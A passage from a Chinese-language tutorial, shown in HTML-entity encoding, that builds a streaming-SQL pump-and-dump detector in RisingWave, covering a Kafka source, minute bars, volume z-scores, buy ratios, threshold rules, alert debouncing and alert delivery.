DF;&#xFF0C;&#x5982; Kafka &#x6216; webhook&#x3002;</li></ul><p>&#x8BA9;&#x6211;&#x4EEC;&#x5F00;&#x59CB;&#x5427;&#x3002;</p><h2 id="1%E3%80%81%E5%BB%BA%E7%AB%8B%E5%9F%BA%E7%A1%80%E6%8E%A5%E6%94%B6%E5%92%8C%E7%BB%93%E6%9E%84%E5%8C%96%E6%95%B0%E6%8D%AE">1&#x3001;&#x5EFA;&#x7ACB;&#x57FA;&#x7840; - &#x63A5;&#x6536;&#x548C;&#x7ED3;&#x6784;&#x5316;&#x6570;&#x636E;</h2><p>&#x5728;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x8FDB;&#x884C;&#x4EFB;&#x4F55;&#x5206;&#x6790;&#x4E4B;&#x524D;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5C06;&#x6570;&#x636E;&#x5F15;&#x5165;&#x6211;&#x4EEC;&#x7684;&#x7CFB;&#x7EDF;&#x5E76;&#x4E3A;&#x5176;&#x8D4B;&#x4E88;&#x7ED3;&#x6784;&#x3002;&#x6211;&#x4EEC;&#x7684;&#x539F;&#x59CB;&#x6570;&#x636E;&#x662F;&#x5404;&#x79CD;&#x5E02;&#x573A;&#x5BF9;&#x7684;&#x4E2A;&#x522B;&#x4EA4;&#x6613;&#x6D41;&#x3002;</p><h3 id="11-%E5%88%9B%E5%BB%BA%E4%BA%A4%E6%98%93%E6%BA%90">1.1 &#x521B;&#x5EFA;&#x4EA4;&#x6613;&#x6E90;</h3><p>&#x9996;&#x5148;&#xFF0C;&#x6211;&#x4EEC;&#x5B9A;&#x4E49;&#x4E0E;&#x6570;&#x636E;&#x6E90;&#x7684;&#x8FDE;&#x63A5;&#x2014;&#x2014;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x662F;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; <code>trades</code> &#x7684; Kafka &#x4E3B;&#x9898;&#x3002;<code>CREATE SOURCE</code> &#x8BED;&#x53E5;&#x58F0;&#x660E;&#x4E86;&#x4F20;&#x5165;&#x4EA4;&#x6613;&#x6570;&#x636E;&#x7684;&#x6A21;&#x5F0F;&#x3002;</p><p>&#x8FD9;&#x91CC;&#x7684;&#x4E00;&#x4E2A;&#x5173;&#x952E;&#x5143;&#x7D20;&#x662F; WATERMARK&#x3002;&#x50CF;&#x4EFB;&#x4F55;&#x73B0;&#x5B9E;&#x4E16;&#x754C;&#x7684;&#x6570;&#x636E;&#x6D41;&#x4E00;&#x6837;&#xFF0C;&#x4EA4;&#x6613;&#x6570;&#x636E;&#x53EF;&#x80FD;&#x4F1A;&#x7A0D;&#x5FAE;&#x65E0;&#x5E8F;&#x5230;&#x8FBE;&#x3002;<code>WATERMARK FOR ts AS ts - INTERVAL &apos;5 seconds&apos;</code> &#x5B50;&#x53E5;&#x544A;&#x8BC9; RisingWave &#x9884;&#x671F;&#x4E8B;&#x4EF6;&#x6700;&#x591A;&#x665A;&#x5230; 5 &#x79D2;&#x3002;&#x8FD9;&#x5BF9;&#x4E8E;&#x5728;&#x6D41;&#x5F0F;&#x73AF;&#x5883;&#x4E2D;&#x786E;&#x4FDD;&#x6B63;&#x786E;&#x548C;&#x53CA;&#x65F6;&#x7684;&#x8BA1;&#x7B97;&#x81F3;&#x5173;&#x91CD;&#x8981;&#x3002;</p><pre><code>CREATE SOURCE trades_src (
  pair_id   BIGINT,
  symbol    VARCHAR,
  ts        TIMESTAMP,           -- &#x4E8B;&#x4EF6;&#x65F6;&#x95F4;
  side      VARCHAR,             -- &apos;BUY&apos;/&apos;SELL&apos;
  price     DOUBLE PRECISION,
  qty       DOUBLE PRECISION,
    -- &#x5141;&#x8BB8;&#x8F7B;&#x5FAE;&#x7684;&#x65E0;&#x5E8F;&#xFF1B;&#x6839;&#x636E;&#x60A8;&#x7684; P95 &#x5EF6;&#x8FDF;&#x8FDB;&#x884C;&#x8C03;&#x6574;
  WATERMARK FOR ts AS ts - INTERVAL &apos;5 seconds&apos;
) WITH (
  connector = &apos;kafka&apos;,
  topic = &apos;trades&apos;,
  properties.bootstrap.server = &apos;localhost:9092&apos;,
  scan.startup.mode = &apos;latest&apos;
) FORMAT PLAIN ENCODE JSON;

</code></pre><h3 id="12-%E8%81%9A%E5%90%88%E4%B8%BA%E6%AF%8F%E5%88%86%E9%92%9F%E6%9D%A1%E5%BD%A2%E5%9B%BE">1.2 &#x805A;&#x5408;&#x4E3A;&#x6BCF;&#x5206;&#x949F;&#x6761;&#x5F62;&#x56FE;</h3><p>&#x5206;&#x6790;&#x6BCF;&#x4E00;&#x7B14;&#x4EA4;&#x6613;&#x6548;&#x7387;&#x4F4E;&#x4E0B;&#x3002;&#x91D1;&#x878D;&#x5206;&#x6790;&#x7684;&#x6807;&#x51C6;&#x65B9;&#x6CD5;&#x662F;&#x5C06;&#x4EA4;&#x6613;&#x805A;&#x5408;&#x4E3A;&#x57FA;&#x4E8E;&#x65F6;&#x95F4;&#x7684;&#x201C;&#x6761;&#x5F62;&#x56FE;&#x201D;&#x6216;&#x201C;&#x8721;&#x70DB;&#x56FE;&#x201D;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x5F00;&#x76D8;&#x4EF7;&#x3001;&#x6700;&#x9AD8;&#x4EF7;&#x3001;&#x6700;&#x4F4E;&#x4EF7;&#x3001;&#x6536;&#x76D8;&#x4EF7;&#x3001;&#x6210;&#x4EA4;&#x91CF;&#xFF09;&#x3002;&#x6211;&#x4EEC;&#x5C06;&#x521B;&#x5EFA;&#x4E00;&#x4E2A; 1 &#x5206;&#x949F;&#x7684;&#x6761;&#x5F62;&#x56FE;&#xFF0C;&#x4F7F;&#x7528;&#x4E00;&#x4E2A;&#x7269;&#x5316;&#x89C6;&#x56FE;&#x3002;</p><p>RisingWave &#x4E2D;&#x7684;&#x7269;&#x5316;&#x89C6;&#x56FE;&#x662F;&#x4E00;&#x4E2A;&#x67E5;&#x8BE2;&#xFF0C;&#x5176;&#x7ED3;&#x679C;&#x88AB;&#x5B58;&#x50A8;&#x5E76;&#x968F;&#x7740;&#x65B0;&#x6570;&#x636E;&#x7684;&#x5230;&#x6765;&#x81EA;&#x52A8;&#x4E14;&#x589E;&#x91CF;&#x5730;&#x4FDD;&#x6301;&#x66F4;&#x65B0;&#x3002;&#x8FD9;&#x662F;&#x6211;&#x4EEC;&#x5206;&#x6790;&#x7684;&#x57FA;&#x7840;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW bar_1m AS
SELECT
  t.pair_id,
  window_start AS bucket_start,
  FIRST_VALUE(price ORDER BY ts) AS open,
  MAX(price)         AS high,
  MIN(price)         AS low,
  LAST_VALUE(price ORDER BY ts)  AS close,
  SUM(qty)           AS vol,
  SUM(CASE WHEN UPPER(side)=&apos;BUY&apos;  THEN qty ELSE 0 END) AS buy_vol,
  SUM(CASE WHEN UPPER(side)=&apos;SELL&apos; THEN qty ELSE 0 END) AS sell_vol,
  COUNT(*) AS trades
FROM TUMBLE(trades_src, ts, INTERVAL &apos;1 minute&apos;) t
GROUP BY t.pair_id, window_start;

</code></pre><p>&#x5728;&#x8FD9;&#x91CC;&#xFF0C;<code>TUMBLE</code> &#x51FD;&#x6570;&#x5C06;&#x4EA4;&#x6613;&#x5206;&#x7EC4;&#x4E3A;&#x56FA;&#x5B9A;&#x3001;&#x975E;&#x91CD;&#x53E0;&#x7684; 1 &#x5206;&#x949F;&#x7A97;&#x53E3;&#x3002;&#x7136;&#x540E;&#x6211;&#x4EEC;&#x8BA1;&#x7B97;&#x8BE5;&#x5206;&#x949F;&#x7684;&#x5F00;&#x76D8;&#x4EF7;&#x3001;&#x6700;&#x9AD8;&#x4EF7;&#x3001;&#x6700;&#x4F4E;&#x4EF7;&#x548C;&#x6536;&#x76D8;&#x4EF7;&#xFF0C;&#x4EE5;&#x53CA;&#x603B;&#x6210;&#x4EA4;&#x91CF;&#x3001;&#x4E70;&#x5165;&#x91CF;&#x548C;&#x5356;&#x51FA;&#x91CF;&#x3002;</p><p><em><strong>&#x63D0;&#x793A;&#xFF1A;</strong></em> <em>&#x4E3A;&#x4E86;&#x8282;&#x7701;&#x8BA1;&#x7B97;&#x8D44;&#x6E90;&#xFF0C;&#x60A8;&#x53EF;&#x4EE5;&#x9884;&#x5148;&#x8FC7;&#x6EE4;&#x6D3B;&#x8DC3;&#x5E02;&#x573A;&#x3002;&#x8FD9;&#x4E2A;&#x89C6;&#x56FE;&#x786E;&#x4FDD;&#x60A8;&#x53EA;&#x5BF9;&#x8FC7;&#x53BB; 24 &#x5C0F;&#x65F6;&#x5185;&#x6709;&#x4EA4;&#x6613;&#x7684;&#x5BF9;&#x8FDB;&#x884C;&#x8BA1;&#x7B97;&#x3002;</em></p><pre><code>CREATE MATERIALIZED VIEW active_pairs_24h AS
SELECT pair_id
FROM (
  SELECT pair_id, MAX(ts) AS last_ts
  FROM trades_src
  GROUP BY pair_id
) t
WHERE last_ts &gt;= NOW() - INTERVAL &apos;24 hours&apos;;

</code></pre><p>&#x7136;&#x540E;&#xFF0C;&#x60A8;&#x53EA;&#x9700;&#x5C06; <code>bar_1m</code> &#x89C6;&#x56FE;&#x4E0E; <code>active_pairs_24h</code> &#x8FDB;&#x884C; JOIN&#x3002;</p><h2 id="2%E3%80%81%E5%BC%80%E5%8F%91%E4%BF%A1%E5%8F%B7%E6%A0%B8%E5%BF%83%E6%A3%80%E6%B5%8B%E7%89%B9%E5%BE%81">2&#x3001;&#x5F00;&#x53D1;&#x4FE1;&#x53F7; - &#x6838;&#x5FC3;&#x68C0;&#x6D4B;&#x7279;&#x5F81;</h2><p>&#x6709;&#x4E86;&#x6211;&#x4EEC;&#x7684; 1 &#x5206;&#x949F;&#x6761;&#x5F62;&#x56FE;&#xFF0C;&#x6211;&#x4EEC;&#x73B0;&#x5728;&#x53EF;&#x4EE5;&#x6784;&#x5EFA;&#x68C0;&#x6D4B;&#x5668;&#x7684;&#x201C;&#x611F;&#x5B98;&#x201D;&#x3002;&#x7ECF;&#x5178;&#x7684;&#x6CF5;-&#x629B;&#x552E;&#x6709;&#x4E09;&#x4E2A;&#x5173;&#x952E;&#x7279;&#x5F81;&#xFF1A;&#x5FEB;&#x901F;&#x7684;&#x4EF7;&#x683C;&#x4E0A;&#x6DA8;&#x3001;&#x6210;&#x4EA4;&#x91CF;&#x7684;&#x6FC0;&#x589E;&#x4EE5;&#x53CA;&#x5355;&#x8FB9;&#x7684;&#x4E70;&#x65B9;&#x538B;&#x529B;&#x3002;</p><h3 id="%E4%BF%A1%E5%8F%B7-1%EF%BC%9A%E5%BF%AB%E9%80%9F%E4%BB%B7%E6%A0%BC%E5%8F%98%E5%8C%96%EF%BC%88%E6%94%B6%E7%9B%8A%EF%BC%89">&#x4FE1;&#x53F7; #1&#xFF1A;&#x5FEB;&#x901F;&#x4EF7;&#x683C;&#x53D8;&#x5316;&#xFF08;&#x6536;&#x76CA;&#xFF09;</h3><p>&#x6211;&#x4EEC;&#x9700;&#x8981;&#x8861;&#x91CF;&#x4EF7;&#x683C;&#x6700;&#x8FD1;&#x7684;&#x53D8;&#x5316;&#x6709;&#x591A;&#x5927;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; LAG &#x7A97;&#x53E3;&#x51FD;&#x6570;&#x8BA1;&#x7B97; 1 &#x5206;&#x949F;&#x548C; 5 &#x5206;&#x949F;&#x7684;&#x6536;&#x76CA;&#xFF0C;&#x5B83;&#x5141;&#x8BB8;&#x6211;&#x4EEC;&#x67E5;&#x770B;&#x524D;&#x4E00;&#x884C;&#x7684;&#x6536;&#x76D8;&#x4EF7;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW bar_1m_with_returns AS
SELECT
  pair_id,
  bucket_start,
  open, high, low, close, vol, buy_vol, sell_vol, trades,
  (close / NULLIF(LAG(close, 1)  OVER (PARTITION BY pair_id ORDER BY bucket_start), 0) - 1) AS ret_1m,
  (close / NULLIF(LAG(close, 5)  OVER (PARTITION BY pair_id ORDER BY bucket_start), 0) - 1) AS ret_5m
FROM bar_1m;

</code></pre><h3 id="%E4%BF%A1%E5%8F%B7-2%EF%BC%9A%E5%BC%82%E5%B8%B8%E6%88%90%E4%BA%A4%E9%87%8F%EF%BC%88%E6%88%90%E4%BA%A4%E9%87%8F%E6%BF%80%E5%A2%9E%EF%BC%89">&#x4FE1;&#x53F7; #2&#xFF1A;&#x5F02;&#x5E38;&#x6210;&#x4EA4;&#x91CF;&#xFF08;&#x6210;&#x4EA4;&#x91CF;&#x6FC0;&#x589E;&#xFF09;</h3><p>&#x4EF7;&#x683C;&#x53D8;&#x52A8;&#x53EA;&#x6709;&#x5728;&#x6709;&#x6210;&#x4EA4;&#x91CF;&#x652F;&#x6301;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x624D;&#x91CD;&#x8981;&#x3002;&#x4F46;&#x4EC0;&#x4E48;&#x662F;&#x201C;&#x9AD8;&#x6210;&#x4EA4;&#x91CF;&#x201D;&#xFF1F;&#x8FD9;&#x76F8;&#x5BF9;&#x4E8E;&#x5E02;&#x573A;&#x7684;&#x8FD1;&#x671F;&#x6D3B;&#x52A8;&#x800C;&#x8A00;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Z &#x5206;&#x6570;&#x6765;&#x91CF;&#x5316;&#x8FD9;&#x79CD;&#x201C;&#x5F02;&#x5E38;&#x6027;&#x201D;&#xFF0C;&#x5B83;&#x6D4B;&#x91CF;&#x5F53;&#x524D;&#x6210;&#x4EA4;&#x91CF;&#x4E0E;&#x8FD1;&#x671F;&#x5E73;&#x5747;&#x503C;&#x7684;&#x504F;&#x79BB;&#x7A0B;&#x5EA6;&#xFF08;&#x4EE5;&#x6807;&#x51C6;&#x5DEE;&#x4E3A;&#x5355;&#x4F4D;&#xFF09;&#x3002;</p><p>&#x9996;&#x5148;&#xFF0C;&#x6211;&#x4EEC;&#x8BA1;&#x7B97; 30 &#x5206;&#x949F;&#x6EDA;&#x52A8;&#x57FA;&#x7EBF;&#x7684;&#x5E73;&#x5747;&#x6210;&#x4EA4;&#x91CF;&#x548C;&#x6807;&#x51C6;&#x5DEE;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW vol_baseline_30m AS
SELECT
  pair_id,
  bucket_start,
  AVG(vol)  OVER (PARTITION BY pair_id ORDER BY bucket_start ROWS BETWEEN 30 PRECEDING AND 1 PRECEDING) AS vol_mean_30m,  
  STDDEV_POP(vol) OVER (PARTITION BY pair_id ORDER BY bucket_start ROWS BETWEEN 30 PRECEDING AND 1 PRECEDING) AS vol_std_30m
FROM bar_1m;

</code></pre><h3 id="%E4%BF%A1%E5%8F%B7-3%EF%BC%9A%E5%8D%95%E8%BE%B9%E5%8E%8B%E5%8A%9B%EF%BC%88%E4%B9%B0%E5%85%A5%E5%8D%96%E5%87%BA%E6%AF%94%E7%8E%87%EF%BC%89">&#x4FE1;&#x53F7; #3&#xFF1A;&#x5355;&#x8FB9;&#x538B;&#x529B;&#xFF08;&#x4E70;&#x5165;/&#x5356;&#x51FA;&#x6BD4;&#x7387;&#xFF09;</h3><p>&#x6CF5;&#x662F;&#x7531;&#x79EF;&#x6781;&#x7684;&#x4E70;&#x5165;&#x9A71;&#x52A8;&#x7684;&#xFF0C;&#x800C;&#x629B;&#x552E;&#x662F;&#x7531;&#x5356;&#x51FA;&#x9A71;&#x52A8;&#x7684;&#x3002;<code>buy_ratio</code>&#xFF08;&#x4E70;&#x5165;&#x91CF; / &#x603B;&#x6210;&#x4EA4;&#x91CF;&#xFF09;&#x7ED9;&#x6211;&#x4EEC;&#x4E00;&#x4E2A;&#x6E05;&#x6670;&#x7684;&#x6307;&#x6807;&#x3002;&#x63A5;&#x8FD1; 1.0 &#x7684;&#x6BD4;&#x7387;&#x8868;&#x660E;&#x8D2D;&#x4E70;&#x72C2;&#x6F6E;&#xFF0C;&#x800C;&#x63A5;&#x8FD1; 0 &#x7684;&#x6BD4;&#x7387;&#x8868;&#x660E;&#x629B;&#x552E;&#x3002;</p><h3 id="%E7%BB%BC%E5%90%88%E7%89%B9%E5%BE%81">&#x7EFC;&#x5408;&#x7279;&#x5F81;</h3><p>&#x6700;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x8FD9;&#x4E9B;&#x4FE1;&#x53F7;&#x6574;&#x5408;&#x6210;&#x4E00;&#x4E2A;&#x7EFC;&#x5408;&#x7279;&#x5F81;&#x89C6;&#x56FE;&#x3002;&#x6B64;&#x89C6;&#x56FE;&#x8BA1;&#x7B97;&#x6210;&#x4EA4;&#x91CF;&#x7684;&#x6700;&#x7EC8; Z &#x5206;&#x6570;&#x548C;&#x4E70;&#x5165;&#x6BD4;&#x7387;&#xFF0C;&#x4E3A;&#x6211;&#x4EEC;&#x63D0;&#x4F9B;&#x4E86;&#x89C4;&#x5219;&#x5F15;&#x64CE;&#x6240;&#x9700;&#x7684;&#x5168;&#x90E8;&#x8981;&#x7D20;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW flow_features AS
SELECT
  b.pair_id,
  b.bucket_start,
  b.ret_1m, b.ret_5m,
  b.vol, b.buy_vol, b.sell_vol,
  CASE WHEN (b.buy_vol + b.sell_vol) &gt; 0
       THEN b.buy_vol / (b.buy_vol + b.sell_vol) ELSE NULL END AS buy_ratio,
  v.vol_mean_30m, v.vol_std_30m,
  CASE
    WHEN v.vol_std_30m IS NULL OR v.vol_std_30m = 0 THEN NULL
    ELSE (b.vol - v.vol_mean_30m) / v.vol_std_30m
  END AS z_vol
FROM bar_1m_with_returns b
LEFT JOIN vol_baseline_30m v
  ON v.pair_id = b.pair_id AND v.bucket_start = b.bucket_start;

</code></pre><h2 id="3%E3%80%81%E5%81%9A%E5%87%BA%E5%88%A4%E6%96%AD%E8%AF%84%E5%88%86%E5%92%8C%E8%A7%A6%E5%8F%91%E8%AD%A6%E6%8A%A5">3&#x3001;&#x505A;&#x51FA;&#x5224;&#x65AD; - &#x8BC4;&#x5206;&#x548C;&#x89E6;&#x53D1;&#x8B66;&#x62A5;</h2><p>&#x73B0;&#x5728;&#x6211;&#x4EEC;&#x6709;&#x4E86;&#x7279;&#x5F81;&#xFF0C;&#x53EF;&#x4EE5;&#x5B9A;&#x4E49;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x4E14;&#x53EF;&#x89E3;&#x91CA;&#x7684;&#x89C4;&#x5219;&#x6765;&#x6807;&#x8BB0;&#x53EF;&#x7591;&#x6D3B;&#x52A8;&#x3002;</p><h3 id="pumpdump%E8%A7%84%E5%88%99">Pump/Dump&#x89C4;&#x5219;</h3><p>&#x6211;&#x4EEC;&#x7684;&#x89C4;&#x5219;&#x7B80;&#x5355;&#x900F;&#x660E;&#xFF1A;</p><ul><li>&#x5982;&#x679C; 1 &#x5206;&#x949F;&#x56DE;&#x62A5;&#x7387; &#x2265; 2% &#x5E76;&#x4E14;&#x6210;&#x4EA4;&#x91CF; Z &#x5206;&#x6570; &#x2265; 3 &#x5E76;&#x4E14;&#x4E70;&#x5165;&#x6BD4;&#x7387; &#x2265; 0.65&#xFF0C;&#x5219;&#x53EF;&#x80FD;&#x662F;&#x6CF5;&#x3002;</li><li>&#x5982;&#x679C; 1 &#x5206;&#x949F;&#x56DE;&#x62A5;&#x7387; &#x2264; -2% &#x5E76;&#x4E14;&#x6210;&#x4EA4;&#x91CF; Z &#x5206;&#x6570; &#x2265; 3 &#x5E76;&#x4E14;&#x4E70;&#x5165;&#x6BD4;&#x7387; &#x2264; 0.35&#xFF0C;&#x5219;&#x53EF;&#x80FD;&#x662F;&#x629B;&#x552E;&#x3002;</li></ul><p>&#x8FD9;&#x4E9B;&#x9608;&#x503C;&#xFF08;2%&#xFF0C;3&#xFF0C;0.65&#xFF09;&#x662F;&#x53EF;&#x8C03;&#x53C2;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x5E02;&#x573A;&#x72B6;&#x51B5;&#x8FDB;&#x884C;&#x8C03;&#x6574;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>CASE WHEN</code> &#x8BED;&#x53E5;&#x5B9E;&#x73B0;&#x6B64;&#x903B;&#x8F91;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW pump_dump_signals AS
SELECT
  pair_id,
  bucket_start,
  ret_1m, ret_5m, vol, z_vol, buy_ratio,
  CASE WHEN ret_1m IS NOT NULL AND z_vol IS NOT NULL AND buy_ratio IS NOT NULL
            AND ret_1m &gt;= 0.02 AND z_vol &gt;= 3 AND buy_ratio &gt;= 0.65
       THEN 1 ELSE 0 END AS is_pump,
  CASE WHEN ret_1m IS NOT NULL AND z_vol IS NOT NULL AND buy_ratio IS NOT NULL
            AND ret_1m &lt;= -0.02 AND z_vol &gt;= 3 AND buy_ratio &lt;= 0.35
       THEN 1 ELSE 0 END AS is_dump
FROM flow_features;

</code></pre><h3 id="%E9%98%B2%E6%AD%A2%E8%AD%A6%E6%8A%A5%E7%96%B2%E5%8A%B3%EF%BC%88%E5%86%B7%E5%8D%B4%E6%9C%9F%EF%BC%89">&#x9632;&#x6B62;&#x8B66;&#x62A5;&#x75B2;&#x52B3;&#xFF08;&#x51B7;&#x5374;&#x671F;&#xFF09;</h3><p>&#x4E00;&#x6B21;&#x6CF5;&#x4E8B;&#x4EF6;&#x53EF;&#x80FD;&#x4F1A;&#x5728;&#x8FDE;&#x7EED;&#x51E0;&#x5C0F;&#x65F6;&#x5185;&#x89E6;&#x53D1;&#x6211;&#x4EEC;&#x7684;&#x89C4;&#x5219;&#x3002;&#x4E3A;&#x4E86;&#x907F;&#x514D;&#x5411;&#x7528;&#x6237;&#x6216;&#x7CFB;&#x7EDF;&#x53D1;&#x9001;&#x91CD;&#x590D;&#x8B66;&#x62A5;&#xFF0C;&#x6211;&#x4EEC;&#x5FC5;&#x987B;&#x5B9E;&#x65BD;&#x201C;&#x51B7;&#x5374;&#x671F;&#x201D;&#x6216;&#x201C;&#x53BB;&#x6296;&#x52A8;&#x201D;&#x673A;&#x5236;&#x3002;&#x5982;&#x679C;&#x67D0;&#x4E2A;&#x5E02;&#x573A;&#x5728;&#x8FC7;&#x53BB; 15 &#x5206;&#x949F;&#x5185;&#x6CA1;&#x6709;&#x8B66;&#x62A5;&#xFF0C;&#x6211;&#x4EEC;&#x624D;&#x4F1A;&#x53D1;&#x51FA;&#x8B66;&#x62A5;&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x67E5;&#x8BE2;&#x66F4;&#x9AD8;&#x7EA7;&#xFF0C;&#x4F46;&#x4F18;&#x96C5;&#x5730;&#x5904;&#x7406;&#x4E86;&#x6BCF;&#x4E2A;&#x5BF9;&#x7684;&#x6700;&#x540E;&#x8B66;&#x62A5;&#x65F6;&#x95F4;&#x7684;&#x72B6;&#x6001;&#x903B;&#x8F91;&#x3002;</p><pre><code>CREATE MATERIALIZED VIEW pump_dump_alerts AS
WITH raw AS (
  SELECT * FROM pump_dump_signals
  WHERE is_pump = 1 OR is_dump = 1
),
ranked AS (
  SELECT
    pair_id,
    bucket_start,
    is_pump, is_dump,
    ROW_NUMBER() OVER (PARTITION BY pair_id ORDER BY bucket_start DESC) AS rn
  FROM raw
)
SELECT r.*
FROM ranked r
LEFT JOIN LATERAL (
  -- &#x6B64;&#x5BF9;&#x7684;&#x6700;&#x540E;&#x8B66;&#x62A5;&#x65F6;&#x95F4;
  SELECT MAX(bucket_start) AS last_ts
  FROM raw r2
  WHERE r2.pair_id = r.pair_id AND r2.bucket_start &lt; r.bucket_start
) prev ON TRUE
WHERE r.rn = 1 AND (prev.last_ts IS NULL OR r.bucket_start &gt;= prev.last_ts + INTERVAL &apos;15 minutes&apos;);

</code></pre><h2 id="4%E3%80%81%E9%87%87%E5%8F%96%E8%A1%8C%E5%8A%A8%E4%BC%A0%E9%80%92%E6%9C%80%E7%BB%88%E8%AD%A6%E6%8A%A5">4&#x3001;&#x91C7;&#x53D6;&#x884C;&#x52A8; - &#x4F20;&#x9012;&#x6700;&#x7EC8;&#x8B66;&#x62A5;</h2><p>&#x4E00;&#x65E6;&#x6F5C;&#x5728;&#x7684;&#x6CF5;&#x6216;&#x629B;&#x552E;&#x4E8B;&#x4EF6;&#x88AB;&#x786E;&#x8BA4;&#x5E76;&#x901A;&#x8FC7;&#x6211;&#x4EEC;&#x7684; <code>pump_dump_alerts</code> &#x89C6;&#x56FE;&#x53BB;&#x6296;&#x52A8;&#xFF0C;&#x4E0B;&#x4E00;&#x6B65;&#x5C31;&#x662F;&#x5C06;&#x6B64;&#x4FE1;&#x606F;&#x4F20;&#x9012;&#x7ED9;&#x4E0B;&#x6E38;&#x7CFB;&#x7EDF;&#xFF0C;&#x4EE5;&#x4FBF;&#x91C7;&#x53D6;&#x884C;&#x52A8;&#x3002;RisingWave &#x63D0;&#x4F9B;&#x4E86;&#x4E24;&#x79CD;&#x5F3A;&#x5927;&#x7684;&#x673A;&#x5236;&#xFF1A;&#x901A;&#x8FC7; <a href="https://docs.risingwave.com/serve/subscription?ref=defiplot.com#real-time-updates-via-subscriptions"><strong>&#x8BA2;&#x9605;</strong></a> &#x7684;&#x76F4;&#x63A5;&#x63A8;&#x9001;&#x6A21;&#x578B;&#x548C;&#x901A;&#x8FC7; <strong>Sink</strong> &#x7684;&#x6570;&#x636E;&#x96C6;&#x6210;&#x6A21;&#x578B;&#x3002;</p><ul><li>&#x4F7F;&#x7528; <strong>&#x8BA2;&#x9605;</strong> &#x7528;&#x4E8E;&#x7D27;&#x5BC6;&#x8026;&#x5408;&#x3001;&#x4F4E;&#x5EF6;&#x8FDF;&#x3001;&#x4E8B;&#x4EF6;&#x9A71;&#x52A8;&#x7684;&#x670D;&#x52A1;&#xFF0C;&#x60A8;&#x5E0C;&#x671B;&#x7ACB;&#x5373;&#x54CD;&#x5E94;&#x8B66;&#x62A5;&#x3002;</li><li>&#x4F7F;&#x7528; <strong>Sink</strong> &#x7528;&#x4E8E;&#x66F4;&#x5E7F;&#x6CDB;&#x7684;&#x6570;&#x636E;&#x96C6;&#x6210;&#xFF0C;&#x5F53;&#x60A8;&#x9700;&#x8981;&#x53EF;&#x9760;&#x5730;&#x5C06;&#x8B66;&#x62A5;&#x4F20;&#x9012;&#x7ED9;&#x591A;&#x4E2A;&#x7CFB;&#x7EDF;&#xFF0C;&#x6216;&#x8005;&#x5F53;&#x60A8;&#x9700;&#x8981; Kafka &#x7B49;&#x6D88;&#x606F;&#x961F;&#x5217;&#x7684;&#x6301;&#x4E45;&#x6027;&#x548C;&#x91CD;&#x653E;&#x529F;&#x80FD;&#x65F6;&#x3002;</li></ul><h3 id="%E9%80%89%E9%A1%B9-1%EF%BC%9A%E4%BD%BF%E7%94%A8-risingwave-%E8%AE%A2%E9%98%85%E8%BF%9B%E8%A1%8C%E7%9B%B4%E6%8E%A5%E6%8E%A8%E9%80%81">&#x9009;&#x9879; 1&#xFF1A;&#x4F7F;&#x7528; RisingWave &#x8BA2;&#x9605;&#x8FDB;&#x884C;&#x76F4;&#x63A5;&#x63A8;&#x9001;</h3><p>&#x5BF9;&#x4E8E;&#x6700;&#x4F4E;&#x5EF6;&#x8FDF;&#x548C;&#x6700;&#x7B80;&#x5355;&#x7684;&#x67B6;&#x6784;&#xFF0C;&#x60A8;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <strong>&#x8BA2;&#x9605;</strong>&#x3002;&#x6B64;&#x529F;&#x80FD;&#x5141;&#x8BB8;&#x60A8;&#x7684;&#x4E0B;&#x6E38;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#xFF08;&#x5982;&#x901A;&#x77E5;&#x670D;&#x52A1;&#x3001;Telegram &#x673A;&#x5668;&#x4EBA;&#x6216;&#x5B9E;&#x65F6;&#x4EEA;&#x8868;&#x677F;&#xFF09;&#x76F4;&#x63A5;&#x201C;&#x8BA2;&#x9605;&#x201D;&#x7269;&#x5316;&#x89C6;&#x56FE;&#x4E2D;&#x7684;&#x66F4;&#x6539;&#x3002;&#x5F53;&#x6211;&#x4EEC;&#x7684; <code>pump_dump_alerts</code> &#x89C6;&#x56FE;&#x4E2D;&#x751F;&#x6210;&#x65B0;&#x7684;&#x8B66;&#x62A5;&#x65F6;&#xFF0C;RisingWave &#x4F1A;&#x76F4;&#x63A5;&#x5C06;&#x66F4;&#x6539;&#x63A8;&#x9001;&#x5230;&#x60A8;&#x7684;&#x8FDE;&#x63A5;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x3002;</p><p>&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x975E;&#x5E38;&#x9002;&#x5408;&#x6784;&#x5EFA;&#x4E8B;&#x4EF6;&#x9A71;&#x52A8;&#x7684;&#x670D;&#x52A1;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x6D88;&#x9664;&#x4E86;&#x4E2D;&#x4ECB;&#x6D88;&#x606F;&#x961F;&#x5217;&#x7684;&#x9700;&#x8981;&#xFF0C;&#x4ECE;&#x800C;&#x964D;&#x4F4E;&#x4E86;&#x5EF6;&#x8FDF;&#x548C;&#x8FD0;&#x8425;&#x5F00;&#x9500;&#x3002;&#x60A8;&#x7684;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x5C06;&#x4F7F;&#x7528;&#x6807;&#x51C6;&#x7684; PostgreSQL &#x9A71;&#x52A8;&#x7A0B;&#x5E8F;&#x8FDE;&#x63A5;&#x5230; RisingWave 